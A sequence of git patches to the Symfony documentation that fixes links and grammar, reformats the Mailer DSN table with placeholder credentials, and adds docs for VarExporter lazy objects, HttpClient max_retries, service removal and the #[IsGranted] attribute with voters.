+.. _download it from the latest GitHub release: https://github.com/sass/dart-sass/releases/latest
+.. _BabdevPagerfantaBundle: https://github.com/BabDev/PagerfantaBundle
+.. _Cloudflare: https://www.cloudflare.com/
+.. _EasyAdminBundle: https://github.com/EasyCorp/EasyAdminBundle
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index a0ea9ffc194..d94d8d500a9 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -334,6 +334,12 @@ t
 Creates a ``Translatable`` object that can be passed to the
 :ref:`trans filter <reference-twig-filter-trans>`.
 
+importmap
+~~~~~~~~~
+
+Outputs the ``importmap`` & a few other items when using
+:doc:`the Asset component </frontend/asset_mapper>`.
+
 Form Related Functions
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 013395040d08538f97c2c544b563f8eda9e37ba5 Mon Sep 17 00:00:00 2001
From: Thibault Miscoria <thibault.miscoria@asiaqualityfocus.com>
Date: Wed, 7 Jun 2023 21:12:40 +0200
Subject: [PATCH 3355/5766] Fix Cmder broken link

---
 contributing/code/tests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 15487740301..8bffc4aa4bc 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -65,7 +65,7 @@ what's going on and if the tests are broken because of the new code.
     to see colored test results.
 
 .. _`install Composer`: https://getcomposer.org/download/
-.. _Cmder: https://cmder.net/
+.. _Cmder: https://cmder.app/
 .. _ConEmu: https://conemu.github.io/
 .. _ANSICON: https://github.com/adoxa/ansicon/releases
 .. _Mintty: https://mintty.github.io/

From e4c26540dc0115ff45412d62d3a5bad38b3f654d Mon Sep 17 00:00:00 2001
From: Alistair <alistair@alistairphillips.com>
Date: Thu, 8 Jun 2023 12:34:34 +1000
Subject: [PATCH 3356/5766] Update asset_mapper.rst

This corrects a grammatical error
---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 9f73e8a36a9..ca5c6899e00 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -721,7 +721,7 @@ First, install the ``tailwindcss`` binary. This can be installed via npm (run
 
     $ npm install -D tailwindcss
 
-Of you can install the `Tailwind standalone binary`_, which does not require Node.
+Or you can install the `Tailwind standalone binary`_, which does not require Node.
 
 Next, generate the ``tailwind.config.js`` file:
 

From 7ecb2530a3ce35964894c21805dffdd7d5e15215 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 8 Jun 2023 13:48:08 +0200
Subject: [PATCH 3357/5766] [Mailer] Document the optional HttpClient
 dependency

---
 mailer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index cdb6a259ede..6fe753ae44c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -215,6 +215,12 @@ Provider              SMTP                                                 HTTP
         The usage of ``default_socket_timeout`` as the default timeout was
         introduced in Symfony 5.1.
 
+.. note::
+
+    Besides SMTP, many 3rd party transports offer a web API to send emails.
+    To do so, you have to install (additionally to the bridge)
+    the HttpClient component via ``composer require symfony/http-client``.
+
 .. note::
 
     To use Google Gmail, you must have a Google Account with 2-Step-Verification (2FA)

From cc46c4806e4a8ee339ea5e364ecf8ca8f8b0b735 Mon Sep 17 00:00:00 2001
From: Thibault Miscoria <thibault.miscoria@asiaqualityfocus.com>
Date: Wed, 7 Jun 2023 20:32:21 +0200
Subject: [PATCH 3358/5766] [Mailer] Improve DSN formats table

---
 mailer.rst | 57 ++++++++++++++++++++++++++++++++++++++++--------------
 1 file changed, 43 insertions(+), 14 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 1a9ac9ab729..a343d67c784 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -164,20 +164,49 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-===================== ==================================================== =========================================== ========================================
-Provider              SMTP                                                 HTTP                                        API
-===================== ==================================================== =========================================== ========================================
-`Amazon SES`_         ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
-`Google Gmail`_       gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
-`Infobip`_            infobip+smtp://KEY@default                           n/a                                         infobip+api://KEY@BASE_URL
-`Mailchimp Mandrill`_ mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
-`Mailgun`_            mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
-`Mailjet`_            mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
-`MailPace`_           mailpace+api://API_TOKEN@default                     n/a                                         mailpace+api://API_TOKEN@default
-`Postmark`_           postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
-`Sendgrid`_           sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
-`Sendinblue`_         sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
-===================== ==================================================== =========================================== ========================================
++------------------------+-----------------------------------------------------+
+| Provider               | Formats                                             |
++========================+=====================================================+
+| `Amazon SES`_          | - SMTP ses+smtp://USERNAME:PASSWORD@default         |
+|                        | - HTTP ses+https://ACCESS_KEY:SECRET_KEY@default    |
+|                        | - API ses+api://ACCESS_KEY:SECRET_KEY@default       |
++------------------------+-----------------------------------------------------+
+| `Google Gmail`_        | - SMTP gmail+smtp://USERNAME:APP-PASSWORD@default   |
+|                        | - HTTP n/a                                          |
+|                        | - API n/a                                           |
++------------------------+-----------------------------------------------------+
+| `Infobip`_             | - SMTP infobip+smtp://KEY@default                   |
+|                        | - HTTP n/a                                          |
+|                        | - API infobip+api://KEY@BASE_URL                    |
++------------------------+-----------------------------------------------------+
+| `Mailchimp Mandrill`_  | - SMTP mandrill+smtp://USERNAME:PASSWORD@default    |
+|                        | - HTTP mandrill+https://KEY@default                 |
+|                        | - API mandrill+api://KEY@default                    |
++------------------------+-----------------------------------------------------+
+| `Mailgun`_             | - SMTP mailgun+smtp://USERNAME:PASSWORD@default     |
+|                        | - HTTP mailgun+https://KEY:DOMAIN@default           |
+|                        | - API mailgun+api://KEY:DOMAIN@default              |
++------------------------+-----------------------------------------------------+
+| `Mailjet`_             | - SMTP mailjet+smtp://ACCESS_KEY:SECRET_KEY@default |
+|                        | - HTTP n/a                                          |
+|                        | - API mailjet+api://ACCESS_KEY:SECRET_KEY@default   |
++------------------------+-----------------------------------------------------+
+| `MailPace`_            | - SMTP mailpace+api://API_TOKEN@default             |
+|                        | - HTTP n/a                                          |
+|                        | - API mailpace+api://API_TOKEN@default              |
++------------------------+-----------------------------------------------------+
+| `Postmark`_            | - SMTP postmark+smtp://ID@default                   |
+|                        | - HTTP n/a                                          |
+|                        | - API postmark+api://KEY@default                    |
++------------------------+-----------------------------------------------------+
+| `Sendgrid`_            | - SMTP sendgrid+smtp://KEY@default                  |
+|                        | - HTTP n/a                                          |
+|                        | - API sendgrid+api://KEY@default                    |
++------------------------+-----------------------------------------------------+
+| `Sendinblue`_          | - SMTP sendinblue+smtp://USERNAME:PASSWORD@default  |
+|                        | - HTTP n/a                                          |
+|                        | - API sendinblue+api://KEY@default                  |
++------------------------+-----------------------------------------------------+
 
 .. caution::
 

From ae0f85f8c964bf4163dfd744015cc4d311090781 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 21 Jan 2023 19:35:16 +0100
Subject: [PATCH 3359/5766] [VarExporter] Add `LazyGhostTrait` and
 `LazyProxyTrait` documentation

---
 components/var_exporter.rst | 181 ++++++++++++++++++++++++++++++++++++
 1 file changed, 181 insertions(+)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 9c5677c91d8..a8591c43692 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -181,5 +181,186 @@ populated by using the special ``"\0"`` property name to define their internal v
 
     The :class:`Symfony\\Component\\VarExporter\\Hydrator` was introduced in Symfony 6.2.
 
+Creating Lazy Objects
+---------------------
+
+Lazy-objects are objects instantiated empty and populated on-demand. This is
+particularly useful when you have for example properties in your classes that
+requires some heavy computation to determine their value. In this case, you
+may want to trigger the property's value processing only when you actually need
+its value. Thanks to this, the heavy computation won't be done if you never use
+this property. The VarExporter component is bundled with two traits helping
+you implement such mechanism easily in your classes.
+
+.. _var-exporter_ghost-objects:
+
+LazyGhostTrait
+~~~~~~~~~~~~~~
+
+Ghost objects are empty objects, which see their properties populated the first
+time any method is called. Thanks to :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait`,
+the implementation of the lazy mechanism is eased. In the following example, we are
+defining the ``$hash`` property as lazy. We also declare that the ``MyLazyObject::computeHash()``
+method should be called only when ``$hash``'s value need to be known::
+
+    namespace App\Hash;
+
+    use Symfony\Component\VarExporter\LazyGhostTrait;
+
+    class HashProcessor
+    {
+        use LazyGhostTrait;
+        // Because of how the LazyGhostTrait trait works internally, you
+        // must add this private property in your class
+        private int $lazyObjectId;
+
+        // This property may require a heavy computation to have its value
+        public readonly string $hash;
+
+        public function __construct()
+        {
+            self::createLazyGhost(initializer: [
+                'hash' => $this->computeHash(...),
+            ], instance: $this);
+        }
+
+        private function computeHash(array $data): string
+        {
+            // Compute $this->hash value with the passed data
+        }
+    }
+
+:class:`Symfony\\Component\\VarExporter\\LazyGhostTrait` also allows to
+convert non-lazy classes to lazy ones::
+
+    namespace App\Hash;
+
+    use Symfony\Component\VarExporter\LazyGhostTrait;
+
+    class HashProcessor
+    {
+        public readonly string $hash;
+
+        public function __construct(array $data)
+        {
+            $this->hash = $this->computeHash($data);
+        }
+
+        private function computeHash(array $data): string
+        {
+            // ...
+        }
+
+        public function validateHash(): bool
+        {
+            // ...
+        }
+    }
+
+    class LazyHashProcessor extends HashProcessor
+    {
+        use LazyGhostTrait;
+    }
+
+    $processor = LazyHashProcessor::createLazyGhost(initializer: function (HashProcessor $instance): void {
+        // Do any operation you need here: call setters, getters, methods to validate the hash, etc.
+        $data = /** Retrieve required data to compute the hash */;
+        $instance->__construct(...$data);
+        $instance->validateHash();
+    });
+
+While you never query ``$processor->hash`` value, heavy methods will never be triggered.
+But still, the ``$processor`` object exists and can be used in your code, passed to
+methods, functions, etc.
+
+Additionally and by adding two arguments to initializer function, it is possible to initialize
+properties one-by-one::
+
+    $processor = LazyHashProcessor::createLazyGhost(initializer: function (HashProcessor $instance, string $propertyName, ?string $propertyScope): mixed {
+        if (HashProcessor::class === $propertyScope && 'hash' === $propertyName) {
+            // Return $hash value
+        }
+
+        // Then you can add more logic for the other properties
+    });
+
+Ghost objects unfortunately can't work with abstract classes but also internal PHP classes.
+Nevertheless, the VarExporter component covers this need with the help of to
+:ref:`Virtual Proxies <var-exporter_virtual-proxies>`.
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait` was introduced in Symfony 6.2.
+
+.. _var-exporter_virtual-proxies:
+
+LazyProxyTrait
+~~~~~~~~~~~~~~
+
+The purpose of virtual proxies in the same one as
+:ref:`ghost objects <var-exporter_ghost-objects>`, but their internal behavior is
+totally different. Where ghost objects requires to extend a base class, virtual
+proxies take advantage of the **Liskov Substitution principle**. This principle
+describes that if two objects are implementing the same interface, you can swap between
+the different implementations without breaking your application. This is what virtual
+proxies take advantage of. To use virtual proxies, you may use
+:class:`Symfony\\Component\\VarExporter\\ProxyHelper` to generate proxy's class
+code::
+
+    namespace App\Hash;
+
+    use Symfony\Component\VarExporter\ProxyHelper;
+
+    interface ProcessorInterface
+    {
+        public function getHash(): bool;
+    }
+
+    abstract class AbstractProcessor implements ProcessorInterface
+    {
+        protected string $hash;
+
+        public function getHash(): bool
+        {
+            return $this->hash;
+        }
+    }
+
+    class HashProcessor extends AbstractProcessor
+    {
+        public function __construct(array $data)
+        {
+            $this->hash = $this->computeHash($data);
+        }
+
+        private function computeHash(array $data): string
+        {
+            // ...
+        }
+    }
+
+    $proxyCode = ProxyHelper::generateLazyProxy(new \ReflectionClass(AbstractProcessor::class));
+    // $proxyCode contains the actual proxy and the reference to LazyProxyTrait.
+    // In production env, this should be dumped into a file to avoid calling eval().
+    eval('class HashProcessorProxy'.$proxyCode);
+
+    $processor = HashProcessorProxy::createLazyProxy(initializer: function (): ProcessorInterface {
+        $data = /** Retrieve required data to compute the hash */;
+        $instance = new HashProcessor(...$data);
+
+        // Do any operation you need here: call setters, getters, methods to validate the hash, etc.
+
+        return $instance;
+    });
+
+Just like ghost objects, while you never query ``$processor->hash``, its value will not be computed.
+The main difference with ghost objects is that this time, we created a proxy of an abstract class.
+This also works with internal PHP class.
+
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Component\\VarExporter\\LazyProxyTrait` and
+    :class:`Symfony\\Component\\VarExporter\\ProxyHelper` were introduced in Symfony 6.2.
+
 .. _`OPcache`: https://www.php.net/opcache
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/

From d501307762fb3b7e41dfb2b0a9751828026cd496 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Jun 2023 17:51:23 +0200
Subject: [PATCH 3360/5766] Tweaks

---
 components/var_exporter.rst | 32 ++++++++++++++++----------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index a8591c43692..12c1396b0f1 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -199,8 +199,8 @@ LazyGhostTrait
 
 Ghost objects are empty objects, which see their properties populated the first
 time any method is called. Thanks to :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait`,
-the implementation of the lazy mechanism is eased. In the following example, we are
-defining the ``$hash`` property as lazy. We also declare that the ``MyLazyObject::computeHash()``
+the implementation of the lazy mechanism is eased. In the following example, the
+``$hash`` property is defined as lazy. Also, the ``MyLazyObject::computeHash()``
 method should be called only when ``$hash``'s value need to be known::
 
     namespace App\Hash;
@@ -269,12 +269,12 @@ convert non-lazy classes to lazy ones::
         $instance->validateHash();
     });
 
-While you never query ``$processor->hash`` value, heavy methods will never be triggered.
-But still, the ``$processor`` object exists and can be used in your code, passed to
-methods, functions, etc.
+While you never query ``$processor->hash`` value, heavy methods will never be
+triggered. But still, the ``$processor`` object exists and can be used in your
+code, passed to methods, functions, etc.
 
-Additionally and by adding two arguments to initializer function, it is possible to initialize
-properties one-by-one::
+Additionally and by adding two arguments to the initializer function, it is
+possible to initialize properties one-by-one::
 
     $processor = LazyHashProcessor::createLazyGhost(initializer: function (HashProcessor $instance, string $propertyName, ?string $propertyScope): mixed {
         if (HashProcessor::class === $propertyScope && 'hash' === $propertyName) {
@@ -284,9 +284,9 @@ properties one-by-one::
         // Then you can add more logic for the other properties
     });
 
-Ghost objects unfortunately can't work with abstract classes but also internal PHP classes.
-Nevertheless, the VarExporter component covers this need with the help of to
-:ref:`Virtual Proxies <var-exporter_virtual-proxies>`.
+Ghost objects unfortunately can't work with abstract classes or internal PHP
+classes. Nevertheless, the VarExporter component covers this need with the help
+of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`.
 
 .. versionadded:: 6.2
 
@@ -301,9 +301,9 @@ The purpose of virtual proxies in the same one as
 :ref:`ghost objects <var-exporter_ghost-objects>`, but their internal behavior is
 totally different. Where ghost objects requires to extend a base class, virtual
 proxies take advantage of the **Liskov Substitution principle**. This principle
-describes that if two objects are implementing the same interface, you can swap between
-the different implementations without breaking your application. This is what virtual
-proxies take advantage of. To use virtual proxies, you may use
+describes that if two objects are implementing the same interface, you can swap
+between the different implementations without breaking your application. This is
+what virtual proxies take advantage of. To use virtual proxies, you may use
 :class:`Symfony\\Component\\VarExporter\\ProxyHelper` to generate proxy's class
 code::
 
@@ -353,9 +353,9 @@ code::
         return $instance;
     });
 
-Just like ghost objects, while you never query ``$processor->hash``, its value will not be computed.
-The main difference with ghost objects is that this time, we created a proxy of an abstract class.
-This also works with internal PHP class.
+Just like ghost objects, while you never query ``$processor->hash``, its value
+will not be computed. The main difference with ghost objects is that this time,
+a proxy of an abstract class was created. This also works with internal PHP class.
 
 .. versionadded:: 6.2
 

From d8365d27db73f2fbca9a2f081f703736ace574cf Mon Sep 17 00:00:00 2001
From: athib <athib.pro@gmail.com>
Date: Thu, 8 Jun 2023 14:58:52 +0200
Subject: [PATCH 3361/5766] Update value_resolver.rst

Replace return type from `array` to `iterable` as it is defined in `ValueResolverInterface`
---
 controller/value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index d9a84aa06ee..e9dc82a4210 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -242,7 +242,7 @@ values. That's why you must always return an array, even for single values::
 
     class BookingIdValueResolver implements ValueResolverInterface
     {
-        public function resolve(Request $request, ArgumentMetadata $argument): array
+        public function resolve(Request $request, ArgumentMetadata $argument): iterable
         {
             // get the argument type (e.g. BookingId)
             $argumentType = $argument->getType();

From 4f63c92294b19398ec5f892aaf83ad9e3d7ff4ba Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Jun 2023 10:00:37 +0200
Subject: [PATCH 3362/5766] Move contents to the main DI article

---
 service_container.rst        | 25 +++++++++++++++++++++++++
 service_container/remove.rst | 23 -----------------------
 2 files changed, 25 insertions(+), 23 deletions(-)
 delete mode 100644 service_container/remove.rst

diff --git a/service_container.rst b/service_container.rst
index afd5ea44bd7..5c33d16e069 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -702,6 +702,31 @@ For a full list of *all* possible services in the container, run:
 
     $ php bin/console debug:container
 
+Remove Services
+---------------
+
+A service can be removed from the service container if needed. This is useful
+for example to make a service unavailable in some :ref:`configuration environment <configuration-environments>`
+(e.g. in the ``test`` environment):
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        // config/services_test.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\RemovedService;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->remove(RemovedService::class);
+        };
+
+Now, the container will not contain the ``App\RemovedService`` in the ``test``
+environment.
+
 .. _services-binding:
 
 Binding Arguments by Name or Type
diff --git a/service_container/remove.rst b/service_container/remove.rst
deleted file mode 100644
index da4fbf2e54e..00000000000
--- a/service_container/remove.rst
+++ /dev/null
@@ -1,23 +0,0 @@
-How to Remove a Service
-=======================
-
-A service can be removed from the service container if needed
-(for instance in the test or a specific environment):
-
-.. configuration-block::
-
-    .. code-block:: php
-
-        // config/services_test.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\RemovedService;
-
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
-
-            $services->remove(RemovedService::class);
-        };
-
-Now, the container will not contain the ``App\RemovedService``
-in the test environment.

From 37222027e7065259c8a1f5a62d68d8fda340326a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Jun 2023 10:03:13 +0200
Subject: [PATCH 3363/5766] -

---
 service_container.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 6d215be627d..0fd3a354317 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -688,6 +688,31 @@ For a full list of *all* possible services in the container, run:
 
     $ php bin/console debug:container
 
+Remove Services
+---------------
+
+A service can be removed from the service container if needed. This is useful
+for example to make a service unavailable in some :ref:`configuration environment <configuration-environments>`
+(e.g. in the ``test`` environment):
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        // config/services_test.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\RemovedService;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->remove(RemovedService::class);
+        };
+
+Now, the container will not contain the ``App\RemovedService`` in the ``test``
+environment.
+
 .. _container_closure-as-argument:
 
 Injecting a Closure as an Argument

From bf57a3ef83fcd8dade0caa6f5f2d891dd2f0292d Mon Sep 17 00:00:00 2001
From: Daniel Burger <48986191+danielburger1337@users.noreply.github.com>
Date: Sat, 6 May 2023 01:46:31 +0200
Subject: [PATCH 3364/5766] Add 'max_retries' setting docs on the
 RetryableHttpClient

---
 http_client.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 32ddad66bec..24a489cafe7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -706,6 +706,10 @@ making a request. Use the ``max_redirects`` setting to configure this behavior
 Retry Failed Requests
 ~~~~~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 6.3
+
+    The ``max_retries`` feature was added in Symfony 6.3.
+
 Sometimes, requests fail because of network issues or temporary server errors.
 Symfony's HttpClient allows to retry failed requests automatically using the
 :ref:`retry_failed option <reference-http-client-retry-failed>`.
@@ -714,7 +718,8 @@ By default, failed requests are retried up to 3 times, with an exponential delay
 between retries (first retry = 1 second; third retry: 4 seconds) and only for
 the following HTTP status codes: ``423``, ``425``, ``429``, ``502`` and ``503``
 when using any HTTP method and ``500``, ``504``, ``507`` and ``510`` when using
-an HTTP `idempotent method`_.
+an HTTP `idempotent method`_. Use the ``max_retries`` setting to configure the amount
+of times a request is retried.
 
 Check out the full list of configurable :ref:`retry_failed options <reference-http-client-retry-failed>`
 to learn how to tweak each of them to fit your application needs.

From 36e00c5152fc063e3b7a1b3cb2f104902c8e903c Mon Sep 17 00:00:00 2001
From: Daniel Burger <48986191+danielburger1337@users.noreply.github.com>
Date: Fri, 9 Jun 2023 14:41:21 +0200
Subject: [PATCH 3365/5766] Fix versionadded doc for max_retries option of
 RetryableHttpClient

---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 24a489cafe7..f4a209fee57 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -706,9 +706,9 @@ making a request. Use the ``max_redirects`` setting to configure this behavior
 Retry Failed Requests
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.3
+.. versionadded:: 6.4
 
-    The ``max_retries`` feature was added in Symfony 6.3.
+    The ``max_retries`` feature was added in Symfony 6.4.
 
 Sometimes, requests fail because of network issues or temporary server errors.
 Symfony's HttpClient allows to retry failed requests automatically using the

From a269f9ef5b6bd20b1b08e5e8f8ac9dc80e4e3221 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Jun 2023 17:27:16 +0200
Subject: [PATCH 3366/5766] Tweaks

---
 http_client.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f4a209fee57..4b82dc71f63 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -706,10 +706,6 @@ making a request. Use the ``max_redirects`` setting to configure this behavior
 Retry Failed Requests
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.4
-
-    The ``max_retries`` feature was added in Symfony 6.4.
-
 Sometimes, requests fail because of network issues or temporary server errors.
 Symfony's HttpClient allows to retry failed requests automatically using the
 :ref:`retry_failed option <reference-http-client-retry-failed>`.
@@ -718,8 +714,12 @@ By default, failed requests are retried up to 3 times, with an exponential delay
 between retries (first retry = 1 second; third retry: 4 seconds) and only for
 the following HTTP status codes: ``423``, ``425``, ``429``, ``502`` and ``503``
 when using any HTTP method and ``500``, ``504``, ``507`` and ``510`` when using
-an HTTP `idempotent method`_. Use the ``max_retries`` setting to configure the amount
-of times a request is retried.
+an HTTP `idempotent method`_. Use the ``max_retries`` setting to configure the
+amount of times a request is retried.
+
+.. versionadded:: 6.4
+
+    The ``max_retries`` options was introduced in Symfony 6.4.
 
 Check out the full list of configurable :ref:`retry_failed options <reference-http-client-retry-failed>`
 to learn how to tweak each of them to fit your application needs.

From 1d55d83ddad1a30b45c3b907b81358ab0b99bf8c Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Mon, 6 Mar 2023 09:29:54 +0100
Subject: [PATCH 3367/5766] [Security] Add documentation for `#[IsGranted]` and
 Voters

---
 doctrine/events.rst |   2 +-
 security.rst        |   2 +-
 security/voters.rst | 103 +++++++++++++++++++++++++++++++++++---------
 3 files changed, 84 insertions(+), 23 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 8769c44211d..65f48d46047 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -164,7 +164,7 @@ listener in the Symfony application by creating a new service for it and
 
 .. configuration-block::
 
-    .. code-block:: attribute
+    .. code-block:: php-attributes
 
         // src/App/EventListener/SearchIndexer.php
         namespace App\EventListener;
diff --git a/security.rst b/security.rst
index 48f1915b70a..77efcdb37b0 100644
--- a/security.rst
+++ b/security.rst
@@ -2288,7 +2288,7 @@ will happen:
 
 .. _security-securing-controller-annotations:
 
-Another way to secure one or more controller actions is to use an attribute.
+Another way to secure one or more controller actions is to use the ``#[IsGranted()]`` attribute.
 In the following example, all controller actions will require the
 ``ROLE_ADMIN`` permission, except for ``adminDashboard()``, which will require
 the ``ROLE_SUPER_ADMIN`` permission:
diff --git a/security/voters.rst b/security/voters.rst
index 0755e17f39d..45b8c196507 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -66,43 +66,72 @@ Setup: Checking for Access in a Controller
 
 Suppose you have a ``Post`` object and you need to decide whether or not the current
 user can *edit* or *view* the object. In your controller, you'll check access with
-code like this::
+code like this:
 
-    // src/Controller/PostController.php
+.. configuration-block::
 
-    // ...
-    class PostController extends AbstractController
-    {
-        #[Route('/posts/{id}', name: 'post_show')]
-        public function show($id): Response
-        {
-            // get a Post object - e.g. query for it
-            $post = ...;
+    .. code-block:: php-attributes
 
+        // src/Controller/PostController.php
+
+        // ...
+        use Symfony\Component\Security\Http\Attribute\IsGranted;
+
+        class PostController extends AbstractController
+        {
+            #[Route('/posts/{id}', name: 'post_show')]
             // check for "view" access: calls all voters
-            $this->denyAccessUnlessGranted('view', $post);
+            #[IsGranted('show', 'post')]
+            public function show(Post $post): Response
+            {
+                // ...
+            }
 
-            // ...
+            #[Route('/posts/{id}/edit', name: 'post_edit')]
+            // check for "edit" access: calls all voters
+            #[IsGranted('edit', 'post')]
+            public function edit(Post $post): Response
+            {
+                // ...
+            }
         }
 
-        #[Route('/posts/{id}/edit', name: 'post_edit')]
-        public function edit($id): Response
+    .. code-block:: php
+
+        // src/Controller/PostController.php
+
+        // ...
+
+        class PostController extends AbstractController
         {
-            // get a Post object - e.g. query for it
-            $post = ...;
+            #[Route('/posts/{id}', name: 'post_show')]
+            public function show(Post $post): Response
+            {
+                // check for "view" access: calls all voters
+                $this->denyAccessUnlessGranted('view', $post);
 
-            // check for "edit" access: calls all voters
-            $this->denyAccessUnlessGranted('edit', $post);
+                // ...
+            }
 
-            // ...
+            #[Route('/posts/{id}/edit', name: 'post_edit')]
+            public function edit(Post $post): Response
+            {
+                // check for "edit" access: calls all voters
+                $this->denyAccessUnlessGranted('edit', $post);
+
+                // ...
+            }
         }
-    }
 
-The ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method)
+The ``#[IsGranted()]`` attribute or ``denyAccessUnlessGranted()`` method (and also the ``isGranted()`` method)
 calls out to the "voter" system. Right now, no voters will vote on whether or not
 the user can "view" or "edit" a ``Post``. But you can create your *own* voter that
 decides this using whatever logic you want.
 
+.. versionadded:: 6.2
+
+    The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
+
 Creating the custom Voter
 -------------------------
 
@@ -423,3 +452,35 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
                 // ...
             ;
         };
+
+.. _security-voters-change-message-and-status-code:
+
+Changing the message and status code returned
+---------------------------------------------
+
+By default, the ``#[IsGranted]`` attribute will throw a
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
+and return an http **403** status code with **Access Denied** as message.
+
+However, you can change this behavior by specifying the message and status code returned::
+
+    // src/Controller/PostController.php
+
+    // ...
+    use Symfony\Component\Security\Http\Attribute\IsGranted;
+
+    class PostController extends AbstractController
+    {
+        #[Route('/posts/{id}', name: 'post_show')]
+        #[IsGranted('show', 'post', 'Post not found', 404)]
+        public function show(Post $post): Response
+        {
+            // ...
+        }
+    }
+
+.. tip::
+
+    If the status code is different than 403, a
+    :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`
+    will be throw instead.

From 5e7f1f79f90d7f9878d98f32130b83bb1e8f61ca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Jun 2023 17:38:49 +0200
Subject: [PATCH 3368/5766] Minor tweaks

---
 security/voters.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 4ab88239153..5aa8d8125d8 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -476,6 +476,6 @@ However, you can change this behavior by specifying the message and status code
 
 .. tip::
 
-    If the status code is different than 403, a
+    If the status code is different than 403, an
     :class:`Symfony\\Component\\HttpKernel\\Exception\\HttpException`
-    will be throw instead.
+    will be thrown instead.

